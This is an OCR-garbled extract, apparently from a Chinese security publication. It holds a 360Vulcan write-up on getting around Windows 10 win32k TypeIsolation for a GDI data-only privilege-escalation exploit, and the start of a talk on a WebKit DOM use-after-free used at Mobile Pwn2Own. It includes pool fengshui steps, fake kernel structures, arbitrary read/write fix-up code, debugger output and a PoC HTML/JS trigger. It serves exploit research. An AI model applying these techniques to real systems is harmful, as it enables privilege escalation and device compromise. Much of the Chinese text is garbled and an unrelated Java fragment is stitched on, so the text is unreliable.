this.wallet = restoreWalletFromBackup();
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}
if (!this.wallet.getParams().equals(Constants.NETWORK_PARAMETERS)) {

throw new Error("bad wallet network parameters: " + this.wallet.getParams().getId());
}
return;
1
I
throw new UnreadableWalletException(“bad wallet network parameters: ™ + this.wallet.getParams().getId());

} catch (FileMNotFoundException e2) {
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Save and Reborn GDI data-only attack from Win32k

Typelsolation

{£2&: kOshl from 360vulcan team

JF3CkRIR:  [360 B%]
http://blogs.360.cn/blog/save-and-reborn-gdi-data-only-attack-from-win32k-typeis
olation/

1865

TR, ERZRREFRIBSFE GDI object RERERMBLUE R/W BIF5 LSRR,
EtizEE (pool overflow) |, {EEMILE (arbitrary write) , #5KEE (oob write) , B
JSER (uaf) , ZXEERL (double free) EREimRZENIHRT, EBAILAFIA GDI object
RFEAMERMINES, FAJFR) GDI data-only attack,

MEXTE Windows 10 build 1709 iRAZF5IN T win32k SKELFRE FIkEEHRE GDI object
XFFIABEARIC, FEEXT win32kbase.sys KT typeisolation SCERAUH A TREH AT 7 RERE
IRITREREXMEFEIEINN KRR, SEEREENKEZSEFRARLFIA GDI
object 55k data-only exploitation, EANF, HESARDEX MK EL B,

IR

OS:

Windows 10 rs3 16299.371

FILE:

Win32kbase.sys 10.0.16299.371

2 GDI data-only attack

GDI data-only attack 2=5aIRZmEFIAFHCRENNFIAFR2—, FIRENR
EZRIEM GDI object FIRLAFERMR TR, MATLUER win32k FETE GDI By API SepkfE
BiIHES, Bai, £ GDI data-only attack EFBRIFEAN GDI object 2 Bitmap LA Palette,
KT Bitmap —M"EERIEHER

typedef struct SURFOBJ {
DHSURF dhsurf;

HSURF hsurf;

DHPDEV dhpdev;
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HDEV hdev;

SIZEL sizIBitmap;
ULONG (¢jBits;

PVOID pvBits;

PVOID pvScan0;
LONG [Delta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;

} SURFOBJ, *PSURFOBJ;

Palette —NEERIEILE & ¢

typedef struct PALETTE64

{
BASEOBJECT64  BaseObiject;

FLONG flPal;
ULONG32 cEntries;
ULONG32 ulTime;
HDC hdcHead;
ULONG64 hSelected;
ULONG64 cRefhpal;
ULONG64 cRefRegular;

ULONG64 ptransFore;
ULONG64 ptransCurrent;
ULONG64 ptransOld;
ULONG32 unk 038;
ULONG64 pfnGetNearest;
ULONG64 pfnGetMatch;
ULONG64 ulRGBTime;
ULONG64 pRGBXlate;
PALETTEENTRY  *pFirstColor;
struct PALETTE *ppalThis;
PALETTEENTRY apalColors[3];

}

£ Bitmap #[ Palette f9RI#ZE5K9, #1 GDI data-only attack IEXHE N EERRTE
£ Bitmap->pvScan0 #] Palette->pFirstColor, XN RZ =15 Bitmap 0 Palette AY

data 15, TILAUET GDI API [ data EiSENEENEE, REZ(IBEMARRIESIXFA
360
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%F-FlF Bitmap [ Palette 352k GDI data-only attack IER_FBEBRESBEXAE
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3 Win32k Typelsolation

GDI data-only attack XFFIFL T AKIEHE T RiZFIANEE, BEXZSHENRR
KRINIZEPERET AN, 5ER1E Windows10 rs3 build 1709 Z/SEIN T — NRHIERRL
#—-win32k typeisolation, @iF—/\W a5 GDI object ZZ—ETE Sk, FEAME GDI
object BUSLERS data D E, XHAMXNERE 7F)H pool fengshui HliERTFullitEEER
GDI object H#1T HFHENKERRTEXMF A, FRIEER 7ESIESELERE A
RETEFRBX data A FSEEIXMFIBRA, EH/kaBs data EEBoAHHEE.

XF win32k typeisolation B9HEIR] &%& T E:

sy ) [~ |

CTypelsolation CSectionEntry CSectionEntry CSectionEntry
next next > next - next
L] previous ol previous » previous - previous
pushlock seclion seclion section
size = 0x2d0 view view view
A bitmap_allocator bitmap_allocator bitmap_allocator

CSectionBitmapAllocator L CSectionBitmapAllocator L CSectionBitmapAllocator

1]

SURFACE 0|SURFACE 1 T
0x1000 .
ot view[0] [SURFACE 2/SURFACE pushlock pushlock pushlock
yies
SURFACE 4|SURFACE 5 [£ T xored_view xored_view xored_view
SURFACE D/SURFACE 1| ‘freeeeee xor_key pRas— xor_key pres— %or_key
view[1] |SURFACE 2| Fifeeisiots GB _— xored_rtl_bitmap [ T xored_rtl_bitmap [ Yo xored_ril_bitmap
<free slot-  <free siot> : bitmap_hint_index = 9 : bitmap_hint_index i bitmap_hint_index
num_committed_views =2 | num_committed_views : num_committed_views
<Unmapped View= : :
....... 3 » i =
view..] RTL_BITAP RTL BITMAP RTL BITMAP
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’: bitmap_buffer_ptr ,: bitmap_buffer_ptr ,: bitmap_buifer_ptr
view[0x27] <Unmapped view> BitmapBuffer = 11111111 00..._ BitmapBuffer BitmapBuffer

FEIXEEERT win32k typeisolation BINIEIKE SRS HITEIERGE, XF win32k
typeisolation BUIEMEITHIEI, E4F GDI object B9HRIE, HEC, BMETISEEREH.
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7£ CSectionEntry &1, bitmap allocator $#g[a CSectionBitmapAllocator, 7
CSectionBitmapAllocator 7F4AY xored view, xor key, xored rtl bitmap, E#
xored view ~ xor_key 15[A view 15, xored rtl btimap ~ xor_key #g§[[ RTL_BITMAP,

£ RTL_BITMAP th bitmap_buffer ptr $gma9 BitmapBuffer TR view HAPIKE,
TRP 0, G 1. HEIE GDI object BIATR, =iBId win32kbaselgpTypelsolation FF
s8iEEH CSectionEntry 5IZR, 18133 CSectionBitmapAllocator EE 2R LA view HE S
TRNE, WRFETHAUNESEFHI GDI object header IETE view &,

FXF CTypelsolation 5% CSectionEntry 28X X3 GDI object FRIEFIFEAISCEIAY A
FRHL, Typelsolation f£XT CSectionEntry SN [asEzRiEG, FIIF CSectionBitmapAllocator
FIWT view EPRZS, FXT view 137h7EAY GDI object SURFACE #{TEIRANSTEH, FHikRE
@& CSectionEntry->view 1 CSectionEntry->bitmap allocator ig85HERINERIE, R
BUINSRIBEBINE— fake view F fake bitmap_allocator HEEEFIFFREIRIER
CSectionEntry->view # CSectionEntry->bitmap_allocator {FE45[ fake struct, MFAi]
BILAEH#IA GDI object 555k data-only attack,

4 Save and reborn gdi data-only attack!

EATPHFIMAR D Z=— XM LS ZAIFIAERE, HEVD 2 Hacksysteam FFA&HY
— MNMEEHBNIZRRENEGS IS, £ HEVD hfzfE— ME=ME (Arbitrary Write) i&i,
A IHLAX NmRAGIRIIAR D ZEAF EEE.

Attack scenario:

BB T CSectionEntry BYER15, CSectionEntry &E15 0x40 A/ \dJ session paged
pool, CSectionEntry BRiE;tE=S[EJRYSCIIE NSInstrumentation::CSectionEntry::Create()
i

.text:00000001CO02AC8A mov  edx, 20h ; NumberOfBytes
.text:00000001CO02AC8F mov  r8d, 6F736955h ; Tag
.text:00000001C002AC95 lea  ecx, [rdx+1] ; PoolType
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.text:00000001C002AC98 call cs: _imp_ExAllocatePoolWithTag
//Allocate 0x40 session paged pool

HELRR, FAMPATLUEL pool fengshui SEHRE—MNAIFENIAY session paged pool
hole AA3k45 CSectionEntry dfiz, EILTE HEVD X4 Arbitrary write BURREFIRES
FA16EF tagWND Y75 EHIE—MEER pool hole, FHEBFIF HMValidateHandle jtEE
tagWND Rizxdseitisit, EvSenmRALfR—MESI SRR, FEIanRExiIEHER
ZXISHHME TR INX NG RBIEAIER, BAERSEHEFRFEFA pool
fengshui HhiE— eI TRED ],

kd&agt; g//FIF8 tagWND FliE— M iaxErd pool hole
Break instruction exception - code 80000003 (first chance)

0033:00007ff6°89a61829 cc int 3

kd&gt; p

0033:00007ff6'89a6182a 488b842410010000 mov  rax,qword ptr [rsp+110h]
kd&gt; p

0033:00007ff6'89a61832 4839842400010000 cmp  gword ptr [rsp+100h],rax
kd&gt; r rax

rax="ffff862e827ca220

kd&gt; !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04
ffff862e827ca150 size: 10 previous size: 150 (Free) Free
ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu
*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Ustx Process:
ffffd40acb28c580

Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
ffff862e827ca250 size: €0 previous size: 40 (Allocated) Gla8
ffff862e827ca330 size: €0 previous size: e0 (Allocated) Gla8™

7£ Oxffff862e827ca220 Hli& ¥ —MIxER session paged pool hole,
Oxffff862e827ca220 £EZBREM, T free K7,

kd&gt; p

0033:00007ff7"abc21787 488b842498000000 mov  rax,qword ptr [rsp+98h]
kd&gt; p

0033:00007ff7 abc2178f 48398424a0000000 cmp  qword ptr [rsp+0AOh],rax
kd&gt; !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

363



https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp

L2%=-2018 FHT-55 2 #8

ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04
ffff862e827ca150 size: 10 previous size: 150 (Free) Free
ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu
*ffff862e827ca210 size: 40 previous size: b0 (Free) *Ustx

Pooltag Ustx : USERTAG TEXT, Binary : win32k!NtUserDrawCaptionTemp
ffff862e827ca250 size: €0 previous size: 40 (Allocated) Gla8
ffff862e827ca330 size: €0 previous size: e0 (Allocated) Gla8

TEFEAIFEES CSecitionEntry £ 0xffff862e827ca220 \IE G, XMEEFH
Typelsolation B9—MF%E, [EANSE " T5EAIHREIRY, 7£ GDI object XISRERER, SiEH
CSectionEntry, Fi@id CSectionBitmapAllocator #if view I E2HETHNL, R
CSectionEntry By view 1% Ei#, NSZEIT— CSectionEntry Fh4r4EEIf), {BINRZHEIRY
CTypelsolation AR+, BEHRY CSectionEntry A9 view 1 £&B# 5%, WSER
NSInstrumentation::CSectionEntry::Create() 8iZ— 1 #TAY CSectionEntry,

A, FAIEFIESS pool hole Z/FEIBEAEMR] GDI object, FRLHTE
CSectionEntry B9 view 1, LAFBIRBIEEHTAY CSectionEntry, 7 H &5 0x40 X/)\i pool hole,

<D

kd&gt; g//BlIEEAER GDI object, O0xffff862e827ca220 ii&# CSectionEntry (5i
kd&gt; !pool ffff862e827ca220

Pool page ffff862e827ca220 region is Unknown

ffff862e827ca000 size: 150 previous size: 0 (Allocated) Gh04
ffff862e827ca150 size: 10 previous size: 150 (Free) Free

ffff862e827ca160 size: b0 previous size: 10 (Free) Uscu

*ffff862e827ca210 size: 40 previous size: b0 (Allocated) *Uiso

Pooltag Uiso : USERTAG ISOHEAP, Binary : win32k!Typelsolation::Create
ffff862e827ca250 size: €0 previous size: 40 (Allocated) Gla8 ffff86b442563150
size:

ETRFEAIFENE fake CSectionEntry->view #[ fake
CSectionEntry->bitmap _allocator, FBEFIF Arbitrary Write {&2 session paged pool
hole HfY CSectionEntry RUIEST, EEIEMFAIMIERT fake struct,

EFAIIEIBAZ GDI object BIRHREIZATHTAY CSectionEntry AY view I EJgEE LK
SURFACE &5igak 51 7 —8B, ANRFEAIME fake struct BIRHE view B#EIERZS, BBA
AT LAERTR Typelsolation, 7£ GDI object HRiEHIAHESE SURFACE BIEE RIS,

364




L2%=-2018 FHT-55 2 #8

A B8 VirtualAllocEx 7 userspace BRI FFAY fake struct, FFE (115 userspace
memory J&tEER; READWRITE,

kd&gt; dg 1e0000//fake pushlock

00000000°001e0000 00000000°00000000 00000000°0000006¢
kd&gt; dq 1f0000//fake view

00000000°001f0000 00000000°00000000 00000000°00000000
00000000°001f0010 00000000°00000000 00000000°00000000
kd&gt; dg 190000//fake RTL BITMAP

00000000°00190000 00000000°000000f0 00000000°00190010
00000000°00190010 00000000°00000000 00000000°00000000
kd&gt; dg 1c0000//fake CSectionBitmapAllocator
00000000°001c0000 00000000°001e0000 deadbeef'deb2b33f
00000000°001c0010 deadbeef deadb33f deadbeef deb4b33f
00000000°001c0020 00000001°00000001 00000001°00000000

Hrh, 0x1f0000 #5[[E view &, 0x1c0000 5[\ CSectionBitmapAllocator, fake view
A& AT GDI object, [ CSectionBitmapAllocator FHEIFRER NS, BT
EEBEIEREGR typeisolation IAAFATeJ#2AY CSectionEntry 21=SiA view IR,

typedef struct CSECTIONBITMAPALLOCATOR {

PVOID pushlock; // + 0x00
ULONG64 xored view; // + 0x08
ULONG64 xor_key; // + 0x10
ULONG64 xored rtl bitmap; // + 0x18
ULONG bitmap_hint index; // + 0x20
ULONG num_commited views; // + 0x24

} CSECTIONBITMAPALLOCATOR, *PCSECTIONBITMAPALLOCATOR,;

iR CSectionBitmapAllocator £5#3%0 0x1c0000 ZhYEEHERTRE, E o xor key EENX
79 Oxdeadbeefdeadb33f, RE{RIE xor_key ” xor view # xor_key ” xor_rtl_bitmap i=
B2 a18ml view 15F1 RTL_BITMAP Ble], E/RIR AT R+ EARI pushlock H/RZIERIER
ZniEst, BNsAtA BUGCHECK, EIE BT 0x1e0000 AAF7FAY pushlock RFIAA.

INET5FMA, bitmap_hint_index 2{F/9RIEE RTL_BITMAP RIFAH, EIHIXME
tEEEHZEFR RTL_BITMAP (A7, FIEERIIE— T RTL_BITMAP (4544,

typedef struct RTL BITMAP {
ULONG64 size; // + 0x00
PVOID bitmap_buffer;  // + 0x08
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} RTL_BITMAP, *PRTL_BITMAP;
kd&gt; dyb fffff322401b90b0

76543210 76543210 76543210 76543210

fffff322'401b90b0 11110000 00000000 00000000 00000000 O 00 00 00
fffff322'401b90b4 00000000 00000000 00000000 00000000 00 00 00 00
fffff322'401b90b8 11000000 10010000 00011011 01000000 c0 90 1b 40
fffff322'401b90bc 00100010 11110011 11111111 11111111 22 £3 £f ff
ffff322'401b90c0 11111111 11111111 11111111 11111111 ff f £ ff
ffff322'401b90c4 11111111 11111111 11111111 11111111 ff £ £ ff
ffff322'401b90c8 11111111 11111111 11111111 11111111 ff f £ ff
ffff322'401b90cc 11111111 11111111 11111111 11111111 £f ff ff f

kd&gt; dq fffff322401b90b0

fffff322'401b90b0  00000000°000000f0 fffff322°401b90c0//ptr to rtl_bitmap buffer
FFFF322°401090C0  FFFFFFFFFFFFFFFF FFFFFFFFFFFFFFS

FFfF322°401b90d0  FFFFFFFF FFFFFFET

XEBEEIEN T — M RTL_BITMAP {EAEIR, EFE— P RREERR
RTL BITMAP size, £ kR TEi5MEEEAY bitmap_buffer, f1ESEAY bitmap_ buffer
VALEF A BR(IZRTR view BRRE, Fr(119 7 BX9R typeisolation, EHEEE 0, TR
CSectionEntry TiAY view £ EPZSH, &% 0x190000 fake RTL BITMAP 4514,
ETEEAIRESEET HEVD By Arbitrary write JEiRMEE CSectionEntry & view
CSectionBitmapAllocator Fg§tB],

kd&gt; dq ffff862e827ca220//IEHRt

ffff862e'827ca220 ffff862e 827cf4f0 ffff862e 827ef300
ffff862e 827ca230 ffffc383°08613880 ffff862e 84780000
ffff862e'827ca240 ffff862e'827f33c0 00000000°00000000
kd&gt; g//ft&iwiRIE , CSectionEntry-&gt;view 1 CSectionEntry-&gt;bitmap_allocator
WIEK

Break instruction exception - code 80000003 (first chance)
0033:00007f7 abc21e35 cc int 3

kd&gt; dq ffff862e827ca220

ffff862e 827ca220 ffff862e 827cf4f0 ffff862e 827ef300
ffff862e'827ca230 ffffc383°08613880 00000000 001f0000
ffff862e'827ca240 00000000°001c0000 00000000°00000000
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ETRHEATEERIBFE— GDI object, JEF CreateBitmap £lE— bitmap object,
SRENER view IEEGIRS.

kd&gt; g
Break instruction exception - code 80000003 (first chance)
0033:00007ff7 abc21ec8 cc int 3

kd&gt; dq 1f0280

00000000°001f0280 00000000°00051a2e 00000000°00000000
00000000°001f0290 ffffd40a'cc9fd700 00000000°00000000
00000000°001f02a0 00000000°00051a2e 00000000°00000000
00000000°001f02b0 00000000°00000000 00000002°00000040
00000000°001f02c0 00000000°00000080 ffff862e'8277da30
00000000°001f02d0 ffff862e'8277da30 00003f02°00000040
00000000°001f02e0 00010000°00000003 00000000°00000000
00000000°001f02f0  00000000°04800200 00000000°00000000

BJLAEE bitmap g9 kernel object #EE 1 fake view 9, FE(ITTLIEREMN
userspace ZEZ| bitmap AY kernel object, #F T3k, HlIRFEEZEILIEN userspace 1
FHEY bitmap kernel object B9 pvScan0, Bi@id GetBitmapBits/SetBitmapBits KT
RHHES,

RE—TENFIREE:

user space addr

user space addr

bitmap kernel object
Trigger Vulnerability P i

CSectionEntry
0x40 pool hole
fake view — user space addr
fake bitmap_allocator * fake pushlack —

fake xor_view
user space addr

fake xor_key

xor key " xor ril bitmap

fake xor_rtl_bitmap

fake bitmap_hint_index

Fix for full exploit:
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fE5erk exploit FUIIREH , IR 7 RLMHRS4 BSOD, IXAAPEHE T GDI data-only
attack RYRSREME, Lbanis

kd&gt; lanalyze -v

kkkkkkkkkhkkhkhkhkhkhkhhhkhkhhhkhkhhkhkhkhkhkhkhkhkhkhkhkkhkhkhkkhkhkhhkhkhkhkhkhkhkhkkhkhkhkkhkhkkkhkikkhkkkkkkkkkkkx

* *
* Bugcheck Analysis *
* *

kkkhkkkhkhkkhkhkhkhkhkhhkhkhkhhkhkhkhhkhkhkhhkhkhkhhhhhhhhhhkhhhhkhkhhkhkhhhkhkhhhkhkhhhkhkhhhhhhhkhhhkhkhhkkkhkkkx

SYSTEM SERVICE _EXCEPTION (3b)

An exception happened while executing a system service routine.

Arguments:

Arg1: 00000000c0000005, Exception code that caused the bugcheck

Arg2: ffffd7d895bd9847, Address of the instruction which caused the bugcheck

Arg3: ffff8c8f89e98cf0, Address of the context record for the exception that caused
the bugcheck

Arg4: 0000000000000000, zero.
Debugging Details:

OVERLAPPED MODULE: Address regions for "dxgmms1' and ‘dump_storport.sys'
overlap

EXCEPTION CODE: (NTSTATUS) 0xc0000005 - 0x%08Ix
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FAULTING IP:
win32kbase!NSInstrumentation::CTypelsolation&aIt;163840,6408&gt;::AllocateType+47
ffffd7d8'95bd9847 488b1e mov  rbx,qword ptr [rsi]

CONTEXT: ffff8c8f89e98cf0 -- (.cxr Oxffff8c8f89e98cf0)

.cxr Oxffff8c8f89e98cf0

rax=ffffdb0039e7c080 rbx=ffffd7a7424e4e00 rcx=ffffdb0039e7c080
rdx=ffffd7a7424e4e00 rsi=00000000001e0000 rdi=ffffd7a740000660
rip=Ffffd7d895bd9847 rsp=Ffff8c8f89e996e0 rbp=0000000000000000
r8=ffff8c8f89e996b8 r9=0000000000000001 r10=7fffffffffffffc
r11=0000000000000027 r12=00000000000000ea r13=ffffd7a740000680
r14=ffffd7a7424dca70 r15=0000000000000027

iopl=0 nv up ei pl nz na po nc

cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010206

win32kbase!NSInstrumentation::CTypelsolation&It;163840,6408gt;::AllocateType+0x
47:

ffffd7d895bd9847 488b1e mov  rbx,qword ptr [rsi]
ds:002b:00000000°001e0000="222722222222227?

T ZIRIREREF AT, BSOD FeAREAFEZFK1EIL VirtualAllocEx BTEIIERY fake
struct I FEAIHEIHEAHET B, XNTEAMEMHERSE, BHEik, NRBEIED
IERIEE T view 15F] CSectionBitmapAllocator Kfgst 2[5, LEAMHFERE GDI object
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B, EtE=imH CSecitionEntry, ZHiwHEIFA BTSSR CSectionEntry it, <FEA
IEMHFEMNZSEITERY, 724 BSoD, FRLAXBESftRRmREZEHRM 75— fix, @

DWORD®64 fix_bitmapbits1 = Oxffffffffffffffff;

DWORDG64 fix_bitmapbits2 = Oxffffffffffff;

DWORD®64 fix_ number = 0x2800000000;

CopyMemory((void *)(fakertl bitmap + 0x10), &amp;fix_bitmapbits1, 0x8);
CopyMemory((void *)(fakertl bitmap + 0x18), &amp;fix_bitmapbits1, 0x8);
CopyMemory((void *)(fakertl bitmap + 0x20), &amp;fix_bitmapbits1, 0x8);
CopyMemory((void *)(fakertl_bitmap + 0x28), &amp;fix_bitmapbits2, 0x8);
CopyMemory((void *)(fakeallocator + 0x20), &amp;fix number, 0x8);

EE— fix |, FEHXT bitmap_hint_index #1 rtl_bitmap, EX3& typeisolation L&
/5 CSectionEntry BIRHREIAJS fake CSectionEntry B view I BRICH ik, HSERENNT
XA CSectionEntry,

FAJANEZBIRY CSectionEntry BEMRFAHER, EILLRMEFA ISR T exploit IBRHIAFE
f& CSectionEntry {J3%A=AE/9 CTypelsolation I A§ERAI—EBD, MHEA HIZRHAT,
VirtualAllocEx ERIBRIZRIHIER P TESHEEIGE, XMR5IRRERARER, MEKINE
ZBdmREAE TESHIOESHNEE), TEKHIT TE X fix,

ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress + 0x8,
(BYTE *)&amp;CSectionPrevious, sizeof(DWORD64));

ArbitraryRead(bitmap, fakeview + 0x280 + 0x48, CSectionEntryKernelAddress, (BYTE
*)&amp;CSectionNext, sizeof(DWORD64));

LogMessage(L INFO, L"Current CSectionEntry-&gt;previous: 0x%p",
CSectionPrevious);

LogMessage(L INFO, L"Current CSectionEntry-&gt;next: 0x%p", CSectionNext);
ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionNext + 0x8, (BYTE
*)&amp;CSectionPrevious, sizeof(DWORD64));

ArbitraryWrite(bitmap, fakeview + 0x280 + 0x48, CSectionPrevious, (BYTE
*)&amp;CSectionNext, sizeof(DWORD64));

R fix Hh, FIKENT CSectionEntry->previous §] CSectionEntry->next, #2481
CSectionEntry fiif(unlink), 1X#7E GDI object ;i CSectionEntry B, FASEXS
fake CSectionEntry 4bE,

LFERIXEN fix 2/, #ETLARLIRIA GDI data-only attack FSERFEMHHES T, X
BB T &R Windows10 rs3 f9 SYSTEM #R, {BEEHIETSIBHARHEAD
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B—IX5|K 7T BSoD, 5 #&M, X4 BSoD 2BFH{TT unlink Zf5, BF GDIHE
TRIRIFLE GDI handle table A, XAt4Z% CSectionEntry th BRGNS free 32, M
A 17758 bitmap kernel object B9 CSectionEntry 244 unlink, 51%& T BSoD AUA&4E.

AR ZETE NtGdiCloseProcess H, IZRREIATREN=RIHER GDI object, IR
SURFACE 18XRYERISEAN T

Oe ffff858c 8ef77300 ffff842e 52a57244 win32kbase!SURFACE::bDeleteSurface+0x7ef
Of ffff858c 8ef774d0 ffff842e'52a1303f win32kbase!SURFREF::bDeleteSurface+0x14
10 ffff858c 8ef77500 ffff842e 52a0cbef win32kbase!vCleanupSurfaces+0x87

11 ffff858c'8ef77530 ffff842e'52a0c804 win32kbase!NtGdiCloseProcess+0x11f

bDeleteSurface aEF#E Gdi handle table #7fYy SURFACE FRtZ3d5R, FAIIEELE GDI
handle table FZEIF7E fake view FEY HBITMAP, HEEGHEE 0, XEHMSE
bDeleteSurface FAHITIELELAY free &8, EIFHHMIETEAR HmgNextOwned B T~—1
GDI object, xF&#k HBITMAP 7 GDI handle table HRR9{\ BRI
HmgSharedLockCheck &, E &80T & :

v4 = *(_QWORD *)(*( QWORD *)(**( QWORD **)(v10 + 24) + 8 * ((unsigned
__int64)(unsigned int)v6 &gt;&gt; 8)) + 16i64 * (unsigned _int8)v6 + 8);

XEBIEIR T —NTERIEHK bitmap MRAITE A & .

*(*(*(*(*win32kbaselgpHandleManager+10)+8) +18) + (hbitmap&amp; Oxffff&gt;&gt;8
)*8)+hbitmap&amp;0xff*2*8

BEE—IRIBXBEEEME win32kbase.sys FJELL, 7 Low IL B9IER FTHERFE leak
info, FE2@EIE Medium IL FH NtQuerySystemInformation it win32kbase.sys Eilt
Mimit&H gpHandleManager Uittt , 2 f53%Z! fake view A bitmap £ Gdi handle table
FRINSRAIE, HE 0, &E5AKT full exploit,
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& Windows S#T

@ {ipigECtmmiEr. Drissna: 4% 1620 ‘

T 'Windows”

o= Windows 10

Microsoft Windows

REA= 1709 (OS MEEME=E 16299.371)

© 2017 Microsoft Corporation, fRERFEHEI,

Windows 10 SR SFESSAREEESFESEEME MRS/ EIERLIE
i L iAn A AR BRI,

MENZFI Rk, —NRREERER NIRRT, el info leak, MiEELEL
RE5, uaf, double free # write-what-where XJLfiEiRE, pool overflow fEERIXFA
=B LEENEZ, A5 KR E CSectionEntry-> previous 1 CSectionEntry- > next B|E)5H,
(BFAZRAATEERE pool overflow FR{ERIXMTTIE.

EEKFEBIR, MNRBRIBIDRZRITIC, B!
58%

https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives

https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20presentati
ons/5A1F/DEFCON-25-5A1F-Demystifying-Kernel-Exploitation-By-Abusing-GDI-Obj
ects.pdf

https://blog.quarkslab.com/reverse-engineering-the-win32k-type-isolation-miti
gation.html

https://github.com/sam-b/windows_kernel address_leaks
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MOSEC iWRERFE: FHNEEEPRITIZEENIT
{E2&: 360Vulcan
[R3ERE: [R£Z=] https://www.anquanke.com/post/id/149939
W

EER, FHNESENTLHE—ERTENRINER. ABRIRRIEHNARNGEES. #
ER G EENRIPEENSSITEREHRITHENE. EEENMENSRITERI TR,
BFE Webkit JIT iR, WebKit DOM iR, Chrome BYJS 5|2i%iRE, iRREXERIE, SE
T3iELAR A IS E =T Ko

YER—ThBEARRREM (Exploit Mitigation) A, FEESHE (Isolated Heap) B4
RINERFSANE e Chrome, FireFox, Edge. IEZE, 2017 ST WebKit {f
Rt FHES IN T IRBEHENE, WebKit RRIBRES XS TE4E Exploit HRY Heap Spray, UAF
S (EEMILEEF G EIFER T —ERIFN, ARERFNE T WebKit REERIEARE,
BXIE e WebKit imiRATEFIF RSN, LUK 360vulan BBABLRFE Mobile Pwn20wn LY,
ZAIETXI FRE A HISCINAY Exploit TZ3E,

EENE

HBFE(@holynop)?E Qihoo 360 Vulcan Team M\ERIFEXIAR. REERSN
pwn2own 2015/2016/2017/pwnfest 2016/mobile pwn2own 2017, &5 —%HRE
£1it%l Microsoft Mitigation Bypass Bounty, Microsoft Edge Bounty, MSRC Top 100
2015/2016/2017 &, BE—LLLRIN ERFREYN Blackhat/44CON/HITB &,

Xf2 360Vulcan BANZREHRR, NSFiREIZEFFABZENIE, Bsmy
Pwn20wn 2017 1 Mobile Pwn20wn 2017, FaxIhHkik THEXIRBR, EL=FNiE
MSRC Top 20 &,

ARGTZST R 360 Vulcan Team RIAKR, i# ID R@EXLHENAE. TETFITE
R ERZ e macOS/iOS Rtk e, PiatiR, E&0 Pwn20wn 2017 #1 Mobile
Pwn20wn 2017 BHENISEREIE. ZRIBUK Edge NISa5415 RCE FEUSHEX Edge CVE
AFFEUS £ MSRC 2017 FfEE 43, ZIRIEK Chrome NIEEE83%15 RCE HAEUEE I
Chromium CVE AFFEUST. ERZIRIAEFER CVE Bust iz &4 Safari RCE, 3ERA
ZAMRINE R,
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R
7£ Mobile Pwn20wn 2017 5hEAi16I0 pwn T iPhone F8XHIINE , 552 Apple
Safari #1 WiFi, Er WiFi TIBRERINT:

The WiF1i Target

Short Distance and WiFi
In this category, we’ll be looking at attacks happening over Bluetooth, near field
communication (NFC), or WiFi.

* A qualified attack via WiFi:

® Victim iPhone connects to an attacker controlled
WiFi

* Achieve code execution in vietim iPhone

mizInB+, FE(IFIFA iPhone ZE#E WiFi IYBalRHAYERFESCI RCE:
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ZFRHEZET WebCore FEITERAY, FRLABAIERNE T HIMELLEF AR —D

WebCore DOM UAF &, %iwiE POCINT:

function begin()

p
1§

collection=ff.elements;
tt.remove(); //free

gc()
setTimeout(trigger,1000);

1
J

function trigger(){
uaf=collection["tt"]; //reuse

¥

<body onload='begin(); " '>
<BUTTON id="tt" type='reset' form="ff'></BUTTON>

<form id='ff' method='get'></form>
</body> Z2E ( www.anquanke.com )

1Zimim AR ER] B :

Vulnerability Analysis

m_form=form
AL SR

setForm|HTMLFomElement *}

it
[ || i
- SEtFDMGJ ‘ m_form->removeFormElementithis); ‘
W A7
5l o
é{? m_associzted Elements{null} &
£ o form
nodelists{button} |~

elements()

IRE T form [E4HY button JI5RFN form JRAIKEEL L EFf7R, i3 button A3
FormAssociatedElement 828 m_form pRETEF] setform E&EL form Y

m_associatedElements fRETEFREXT button RIS |F.
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FREX T form B9 elements [EiEfS, form 6IE T &S button 5|FAY nodelLists R,
B button B, button B9tFHARZ0E R setform (0) , setform &R removeFormElement,
removeFormElement J& form B m_associatedElements s R A button #2p&, 1B
nodelLists Y button ;2B #HEER, FTLAREREY button ATiEid form.elements if3ia,
EFBEXNERE, EBSEE HTML*Element X5AE44

HTML*Element ~_»ISC:Weakimpl

+0: pVtable _________-——--"""__ +0: constJSValue m jsValue
+8: m_wrapper +8: WeakHandleOwner*
+10: refcount m_weakHandleOwner

+10: void* m_context

—™ html WREE js BEEER, FE— wrapper, X4~ wrapper B{E18[[ Weakimpl
45, Weaklmpl 3J35A9 m_jsValue 8AFRIX4 dom JFHAT JSValue 335, JSValue F
s AT ERISEUR, —1N JSValue BJLARRR S JavaScript [RiaS<EM5IEN boolean, array,
EEEIENSRIIREL,

Js EEHAT uaf=Collections[ ‘id" 1fSRYEREEIITE:

uaf=Collections[‘id’]
WebCore::JSHTMLFormControlsCollection::zetOwnPropertvSlot
WebCore:JSHTMLFormControlsCollection::nameGetter

WebCore:namedltems

* Control m_wrapper —— Control m_jsValue —— Make fake object at arbitrary address

+  (Get the fake object from 1S code
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1B EE WebCore:namedltems BISCHL, £ WebCore::namedltems Fa]LAEZE]
SNSRERENZIRY button X35RAY m_wrapper 3F==, HillE—ERIFM, HIgMAY m_jsValue &
WIENERIRE, BBAFKIITLARIA typedarray buffer (54, #=4EHHI m_wrapper (&,
L ERZRER— MR ER Float64Array, AEEBE FEAVER, 7% js EEIREEIXMA
&Y Float64Array,

AT EZEN AR Safari By ASLR SCIIARRTE, A JTLARIA array #0 typed array i#
ITHEEER, RN EFRENTE:

Typedarray buffer N

A
- Weakimpl: m jsValue

FakedFloat64Array =collection[id’]

Faked Float6dArray:
pVectors
+8:

m_wrapper

'Tgnedarragbuﬁerl
Button(Use Typedarray buffer to obj1,0bj2......

reuse the freed memory)

Array Butterfly 1

Memory layout aftersorav, wecangeta reliable
